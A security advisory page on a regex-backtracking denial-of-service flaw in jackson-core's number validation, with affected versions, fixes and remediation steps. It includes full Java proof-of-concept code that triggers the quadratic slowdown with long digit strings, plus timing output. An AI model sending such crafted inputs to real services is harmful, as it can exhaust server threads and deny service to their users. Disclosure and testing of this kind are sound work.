GHSA-p6pp-m3f8-5c89: High severity maven/tools.jackson.core:jackson-core vulnerability

Published Oct 1, 2026
·
Updated

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version

- Package: com.fasterxml.jackson.core:jackson-core - Confirmed against: jackson-core-2.20.2 - Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java (PATTERNFLOAT line ~41-42, PATTERNFLOATTRAILINGDOT line ~51, entry point looksLikeValidNumber() lines ~646-656)

Technical Analysis

java private final static Pattern PATTERNFLOAT = Pattern.compile( "[+-]?[0-9][\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERNFLOATTRAILINGDOT = Pattern.compile( "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERNFLOAT.matcher(s).matches() || PATTERNFLOATTRAILINGDOT.matcher(s).matches(); }

PATTERNFLOAT contains ambiguous, adjacent quantifiers over the identical character class: [0-9] (optional digits), an optional [.], then [0-9]+ (required digits). Java's backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the [0-9] and [0-9]+ groups before concluding failure — the classic quadratic-backtracking shape. looksLikeValidNumber() compounds the cost by running a second full-string regex (PATTERNFLOATTRAILINGDOT) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class.

Critically, the length gate that applies to this specific path is StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength (default 1,000) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core1...md. Then:

bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8NumberInputReDoS.java java -cp "poc:$CP" PoC8NumberInputReDoS

Full PoC Source (poc/PoC8NumberInputReDoS.java)

java import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8NumberInputReDoS {

public static void main(String[] args) { int[] sizes = {5000, 10000, 20000, 40000, 80000, 160000}; long[] timesMs = new long[sizes.length];

System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x";

if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up }

long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1000000; timesMs[i] = elapsedMs;

System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); }

System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; }

System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULTMAXSTRINGLENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000).");

if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERNFLOAT on non-matching input."); } }

static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } }

Captured Evidence (actual run output)

Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERNFLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind behavior) is exposed: an attacker who can submit a large numeric-looking string (up to maxStringLength's default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users.

Remediation

1. Rewrite PATTERNFLOAT without quantifier ambiguity using possessive quantifiers, e.g. [+-]?(?:[0-9]++(?:\.[0-9]+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan. 2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for parseInt, so the library has both the precedent and the code style available. 3. Apply an independent length limit (maxNumberLength, not the much larger maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path. 4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its default, and set wall-clock timeouts on parse/coercion operations.

Affected Software

5 affected componentsFixes available
maven/tools.jackson.core:jackson-core>=3.2.0<=3.2.1
3.2.2
maven/tools.jackson.core:jackson-core>=3.0.0<=3.1.6
3.1.7
maven/com.fasterxml.jackson.core:jackson-core>=2.22.0<=2.22.2
2.22.3
maven/com.fasterxml.jackson.core:jackson-core>=2.19.0<=2.21.6
2.21.7
maven/com.fasterxml.jackson.core:jackson-core>=2.17.0<=2.18.10
2.18.11

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.2.2
  2. Upgrade

    Upgrade maven/tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.1.7
  3. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.22.3
  4. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.21.7
  5. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.18.11
  6. Configuration

    Apply the independent maxNumberLength limit before calling NumberInput.looksLikeValidNumber(); use the library's stated 1,000-character ceiling rather than relying on the much larger maxStringLength limit.

    Jackson number validation maxNumberLength = 1000
  7. Configuration

    Tighten StreamReadConstraints.maxStringLength to well below its default of 20,000,000 characters before numeric coercion reaches looksLikeValidNumber().

    Jackson StreamReadConstraints maxStringLength = below 20,000,000
  8. Configuration

    Replace the ambiguous PATTERN_FLOAT regex with the possessive-quantifier form shown, or replace the regex validation with a single-pass character scan; also avoid the second full-string regex scan for the trailing-dot case.

    com.fasterxml.jackson.core.io.NumberInput PATTERN_FLOAT = [+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?
  9. Compensating control

    Set wall-clock timeouts on parse and numeric-coercion operations to prevent a single pathological input from pinning a request-handling thread.

Event History

Oct 1, 2026
Advisory Published
via GitHub·03:19 PM
Data Sourced
via GitHub·03:19 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What must an attacker be able to do to trigger the issue?

An attacker needs to cause the application to pass a long attacker-controlled string to NumberInput.looksLikeValidNumber(). The supplied vector indicates network reachability with no authentication or user interaction required.

2

Can request-sized input cause a meaningful service impact?

Yes, if the application sends it to the affected method. A single 160,000-character string took 74.4 seconds for one call in the reported reproduction, and that size is described as smaller than a typical HTTP request body.

3

How can I identify whether my application is exposed?

Check whether your dependency tree includes com.fasterxml.jackson.core:jackson-core version 2.20.2 and whether application code or a dependency can invoke NumberInput.looksLikeValidNumber() on untrusted strings. The report confirms the behavior for jackson-core-2.20.2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203